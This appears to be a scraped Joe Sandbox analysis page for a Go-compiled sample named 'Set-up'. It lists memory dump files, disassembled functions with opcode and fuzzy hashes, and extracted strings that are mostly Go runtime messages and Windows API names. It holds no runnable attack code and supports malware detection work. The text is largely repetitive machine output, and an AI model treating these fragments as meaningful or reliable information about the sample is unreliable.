Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: *$persistentalloc: align is not a power of 2runtime: blocked write on closing polldescsync/atomic: store of nil value into Valuetest executed panic(nil) or runtime.Goexitunexpected signal during runtime executionx509: %q cannot be encoded as an IA5Stringx509: RS$persistentalloc: align is too largepidleput: P has non-empty run queue of non-slice typeruntime: close polldesc w/o unblockruntime: createevent failed; errno=ryuFtoaFixed32 called with prec > 9strings.Reader.Seek: invalid whencesuperfluous lea$persistentalloc: size == 0pkcs7: input data is empty required key not availableruntime: bad span s.state=runtime: pcHeader: magic= segment prefix is reservedshrinking stack in libcallstartlockedm: locked to metoo many colons in address$runtime: cannot allocate memoryruntime: failed to commit pagesruntime: split stack overflow: slice bounds out of range [%x:]slice bounds out of range [:%x]x509: certificate is valid for x509: malformed GeneralizedTimex509: malformed subjectUniqueIDx509: malfor
API String ID: 0-4232192069
Opcode ID: 7cea088cb50551e51a107c8789442d26bfa2b7324d86d172eb62856587917dde
Instruction ID: 7c60fee0cf0d2c649ac3301dce3f74884948918055439596c47c37caf10436f7
Opcode Fuzzy Hash: 7cea088cb50551e51a107c8789442d26bfa2b7324d86d172eb62856587917dde
Instruction Fuzzy Hash: 7671367460834ACFC714DF24D08066ABBE1FF98314F14892EE88987311E779EA45DFA2

Function 00D5CA2A Relevance: 6.4, Strings: 5, Instructions: 152COMMON

Download Yara Rule

Strings

+,-./05:;<=?BCMOSZ["]_`hms{} + @ P [(") )(), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03, xrefs: 00D5CCCD
(scan (scan) MB in Value> allocs dying= locks= m->g0= nmsys= pad1= pad2= s=nil text= zombie% CPU (, Size=, goid=, j0 = 19531252.5.4.32.5.4.52.5.4.62.5.4.72.5.4.82.5.4.99765625AvestanBengaliBorlandBrailleChanDirCopySidCypriotDeseretEd25519ElbasanElymaicF, xrefs: 00D5CBFE
pacer: assist ratio=preempt off reason: .makeFuncStubruntime: double waitruntime: unknown pc selectgo: bad wakeupsemaRoot rotateRighttime: invalid numbertrace: out of memorywirep: already in goworkbuf is not emptywrite of Go pointer , xrefs: 00D5CBD8
MB) workers= called from flushedWork idlethreads= in host name is nil, not nStackRoots= out of range pluginpath= s.spanclass= span.base()= syscalltick= work.nproc= work.nwait= , gp->status=, not pointer-byte block (3814697265625Align 2-BytesAlign 4-Bytes, xrefs: 00D5CCA3
->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:\/???ADTASTA, xrefs: 00D5CC6C

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: (scan (scan) MB in Value> allocs dying= locks= m->g0= nmsys= pad1= pad2= s=nil text= zombie% CPU (, Size=, goid=, j0 = 19531252.5.4.32.5.4.52.5.4.62.5.4.72.5.4.82.5.4.99765625AvestanBengaliBorlandBrailleChanDirCopySidCypriotDeseretEd25519ElbasanElymaicF$ MB) workers= called from flushedWork idlethreads= in host name is nil, not nStackRoots= out of range pluginpath= s.spanclass= span.base()= syscalltick= work.nproc= work.nwait= , gp->status=, not pointer-byte block (3814697265625Align 2-BytesAlign 4-Bytes$+,-./05:;<=?BCMOSZ["]_`hms{} + @ P [(") )(), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03$->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:\/???ADTASTA$pacer: assist ratio=preempt off reason: .makeFuncStubruntime: double waitruntime: unknown pc selectgo: bad wakeupsemaRoot rotateRighttime: invalid numbertrace: out of memorywirep: already in goworkbuf is not emptywrite of Go pointer
API String ID: 0-2792116008
Opcode ID: d5139b93aa698356f9e4f53844e1890a70c7d08d62d25c8900ee618401e0c0d2
Instruction ID: 23d64d7c379b8d8c7b9bfc4be9d520128f51d3bfe9e843144058b0de7692d54e
Opcode Fuzzy Hash: d5139b93aa698356f9e4f53844e1890a70c7d08d62d25c8900ee618401e0c0d2
Instruction Fuzzy Hash: B771F774508B458FC314EF28D09166EBBE5FF89740F418A2EF88997351EB74D884DB62

Function 00D67C90 Relevance: 6.4, Strings: 5, Instructions: 149COMMON

Download Yara Rule

Strings

bad summary databad symbol tablecastogscanstatuscontext canceleddivision by zerogc: unswept spangcshrinkstackoffgetprotobynumberinteger overflowinvalid argumentinvalid encodinginvalid exchangeinvalid g statuslength too largemSpanList.insertmSpanList.removemess, xrefs: 00D67ECD
runtime: max = runtime: min = runtimer: bad pscan missed a gstartm: m has pstopm holding punknown Go type already; errno= mheap.sweepgen= not in ranges: untyped locals , not a function0123456789ABCDEF0123456789abcdef2384185791015625: value of type AddDllDirec, xrefs: 00D67DF9
, npages = -syncWithWU/dev/stderr/dev/stdout30517578125: frame.sp=AssemblyRefBLAKE2b-256BLAKE2b-384BLAKE2b-512BLAKE2s-256BoundImportClassHESIODClassLayoutCloseHandleCoGetObjectCreateFileWDelayImportDeleteFileWDives_AkuruExitProcessFieldLayoutFreeLibraryGOTRACE, xrefs: 00D67E23
runtime: searchIdx = runtime: work.nwait= sequence tag mismatchstale NFS file handlestartlockedm: m has pstartm: m is spinningstate not recoverabletimer data corruptiontrace/breakpoint trapunexpected value stepuser defined signal 1user defined signal 2x509: in, xrefs: 00D67E67
, p.searchAddr = 0123456789ABCDEFX0123456789abcdefx060102150405Z07001192092895507812559604644775390625: missing method ARM little endianAdjustTokenGroupsAssemblyProcessorCertFindExtensionCreateFileMappingCreateStdDispatchCryptDecodeObjectDispGetIDsOfNamesDllGe, xrefs: 00D67E99

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: , npages = -syncWithWU/dev/stderr/dev/stdout30517578125: frame.sp=AssemblyRefBLAKE2b-256BLAKE2b-384BLAKE2b-512BLAKE2s-256BoundImportClassHESIODClassLayoutCloseHandleCoGetObjectCreateFileWDelayImportDeleteFileWDives_AkuruExitProcessFieldLayoutFreeLibraryGOTRACE$, p.searchAddr = 0123456789ABCDEFX0123456789abcdefx060102150405Z07001192092895507812559604644775390625: missing method ARM little endianAdjustTokenGroupsAssemblyProcessorCertFindExtensionCreateFileMappingCreateStdDispatchCryptDecodeObjectDispGetIDsOfNamesDllGe$bad summary databad symbol tablecastogscanstatuscontext canceleddivision by zerogc: unswept spangcshrinkstackoffgetprotobynumberinteger overflowinvalid argumentinvalid encodinginvalid exchangeinvalid g statuslength too largemSpanList.insertmSpanList.removemess$runtime: max = runtime: min = runtimer: bad pscan missed a gstartm: m has pstopm holding punknown Go type already; errno= mheap.sweepgen= not in ranges: untyped locals , not a function0123456789ABCDEF0123456789abcdef2384185791015625: value of type AddDllDirec$runtime: searchIdx = runtime: work.nwait= sequence tag mismatchstale NFS file handlestartlockedm: m has pstartm: m is spinningstate not recoverabletimer data corruptiontrace/breakpoint trapunexpected value stepuser defined signal 1user defined signal 2x509: in
API String ID: 0-4196405881
Opcode ID: 954c6156d5658a10725799ef88bc825a38be43dbca25bd9ec37d7b6e9d43b095
Instruction ID: 0d25ec9f84634202bfac2dce0a3513a7b5f0db5c22b0693ba7e3fa73420e8e3a
Opcode Fuzzy Hash: 954c6156d5658a10725799ef88bc825a38be43dbca25bd9ec37d7b6e9d43b095
Instruction Fuzzy Hash: B061F4B45097099FD304EF24D18162EBBE1FF88304F84896DE8A887341E7B4D945CFA2

Function 00D5CA11 Relevance: 6.4, Strings: 5, Instructions: 132COMMON

Download Yara Rule

Strings

+,-./05:;<=?BCMOSZ["]_`hms{} + @ P [(") )(), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03, xrefs: 00D5CCCD
(scan (scan) MB in Value> allocs dying= locks= m->g0= nmsys= pad1= pad2= s=nil text= zombie% CPU (, Size=, goid=, j0 = 19531252.5.4.32.5.4.52.5.4.62.5.4.72.5.4.82.5.4.99765625AvestanBengaliBorlandBrailleChanDirCopySidCypriotDeseretEd25519ElbasanElymaicF, xrefs: 00D5CBFE
pacer: assist ratio=preempt off reason: .makeFuncStubruntime: double waitruntime: unknown pc selectgo: bad wakeupsemaRoot rotateRighttime: invalid numbertrace: out of memorywirep: already in goworkbuf is not emptywrite of Go pointer , xrefs: 00D5CBD8
MB) workers= called from flushedWork idlethreads= in host name is nil, not nStackRoots= out of range pluginpath= s.spanclass= span.base()= syscalltick= work.nproc= work.nwait= , gp->status=, not pointer-byte block (3814697265625Align 2-BytesAlign 4-Bytes, xrefs: 00D5CCA3
->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:\/???ADTASTA, xrefs: 00D5CC6C

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: (scan (scan) MB in Value> allocs dying= locks= m->g0= nmsys= pad1= pad2= s=nil text= zombie% CPU (, Size=, goid=, j0 = 19531252.5.4.32.5.4.52.5.4.62.5.4.72.5.4.82.5.4.99765625AvestanBengaliBorlandBrailleChanDirCopySidCypriotDeseretEd25519ElbasanElymaicF$ MB) workers= called from flushedWork idlethreads= in host name is nil, not nStackRoots= out of range pluginpath= s.spanclass= span.base()= syscalltick= work.nproc= work.nwait= , gp->status=, not pointer-byte block (3814697265625Align 2-BytesAlign 4-Bytes$+,-./05:;<=?BCMOSZ["]_`hms{} + @ P [(") )(), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03$->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:\/???ADTASTA$pacer: assist ratio=preempt off reason: .makeFuncStubruntime: double waitruntime: unknown pc selectgo: bad wakeupsemaRoot rotateRighttime: invalid numbertrace: out of memorywirep: already in goworkbuf is not emptywrite of Go pointer
API String ID: 0-2792116008
Opcode ID: c1fe7f260258153330bfbc0aa3d6a6009d90ea9999a0a1469fa6bbd10a866351
Instruction ID: 2afe295734acbfc7ace89c1a1d5026831c779dffa57cae156745389b487e1e53
Opcode Fuzzy Hash: c1fe7f260258153330bfbc0aa3d6a6009d90ea9999a0a1469fa6bbd10a866351
Instruction Fuzzy Hash: 715113B45087458FD714EF28D09466EBBE0FF88314F41892EE8899B342E775D888DB62

Function 00D52AD0 Relevance: 6.4, Strings: 5, Instructions: 127COMMON

Download Yara Rule

Strings

bad sweepgen in refillcannot allocate memorycompileCallabck: type duplicated defer entryfreeIndex is not validgetenv before env initheadTailIndex overflowinteger divide by zerointerface conversion: internal inconsistencyinvalid number base %dkernel32.dll not f, xrefs: 00D52CA7
(, xrefs: 00D52CC6
span has no free spacestack not a power of 2timer goroutine (idle)trace reader (blocked)trace: alloc too largeunexpected method stepwirep: invalid p statex509: malformed issuerzero length BIT STRINGzlib: invalid checksum) must be a power of 223283064365386962, xrefs: 00D52C7B
out of memoryparsing time powrprof.dll, xrefs: 00D52C91
refill of span with free space remaining : FieldByName of non-struct type rsa: internal error: inconsistent length : first argument is : duplicatehandle failedruntime: SyscallN has too many argumentsruntime: out of memo, xrefs: 00D52CBD

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: ($bad sweepgen in refillcannot allocate memorycompileCallabck: type duplicated defer entryfreeIndex is not validgetenv before env initheadTailIndex overflowinteger divide by zerointerface conversion: internal inconsistencyinvalid number base %dkernel32.dll not f$out of memoryparsing time powrprof.dll$refill of span with free space remaining : FieldByName of non-struct type rsa: internal error: inconsistent length : first argument is : duplicatehandle failedruntime: SyscallN has too many argumentsruntime: out of memo$span has no free spacestack not a power of 2timer goroutine (idle)trace reader (blocked)trace: alloc too largeunexpected method stepwirep: invalid p statex509: malformed issuerzero length BIT STRINGzlib: invalid checksum) must be a power of 223283064365386962
API String ID: 0-3082307548
Opcode ID: 4b8dd8dd5ff6dcfc0d64ea639f1bad5fc7108882314b9e3de312fd9e8d61446c
Instruction ID: 67498b858f569549b932dc7ffbf90b9240b6fc5e73efc48a653e41a0abe29ccc
Opcode Fuzzy Hash: 4b8dd8dd5ff6dcfc0d64ea639f1bad5fc7108882314b9e3de312fd9e8d61446c
Instruction Fuzzy Hash: 13515AB45083048FC714EF29D19066ABBE1FF84704F41896DEC898B752D735D989DFA2

Function 00D5F4C0 Relevance: 6.4, Strings: 5, Instructions: 123COMMON

Download Yara Rule

Strings

(forced) B exp.) B work ( blocked= in use) lockedg= lockedm= m->curg= marked method: ms cpu, not in [ runtime= s.limit= s.state= threads= unmarked wbuf1.n= wbuf2.n=%!(EXTRA %s %q: %s(MISSING)(unknown)*invalid*, Offset=, newval=, oldval=, size = , tail =, xrefs: 00D5F66F
KiB work, exp.) for freeindex= gcwaiting= idleprocs= in status mallocing= ms clock, nBSSRoots= p->status= s.nelems= schedtick= span.list= timerslen=%!(BADPREC), elemsize=, npages = -syncWithWU/dev/stderr/dev/stdout30517578125: frame.sp=AssemblyRefBLAKE2b, xrefs: 00D5F5B1
[controller reset] called using nil *, g->atomicstatus=, gp->atomicstatus=149011611938476562520060102150405Z07007450580596923828125ARM64 little endianAltai Standard TimeBahia Standard TimeCanadian_AboriginalChina Standard TimeCreateSymbolicLinkWCryptReleaseC, xrefs: 00D5F646
% util(...), i = , not .reloc390625<-chanAnswerArabicAugustBrahmiCarianChakmaCommonCopticENCLogENCMapExpectExportFlags=FormatFridayGOROOTGetACPGothicHangulHatranHebrewHyphenIgnoreImportKaithiKhojkiLepchaLycianLydianMIPS16ModuleMondayNativeRejangSCHED STREETSt, xrefs: 00D5F612
KiB total, MB stacks, [recovered] allocCount found at *( gcscandone m->gsignal= nDataRoots= nSpanRoots= pages/byte preemptoff= s.elemsize= s.sweepgen= span.limit= span.state= sysmonwait= wbuf1=<nil> wbuf2=<nil>%!(BADWIDTH)) p->status=, cons/mark -byte li, xrefs: 00D5F5E8

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
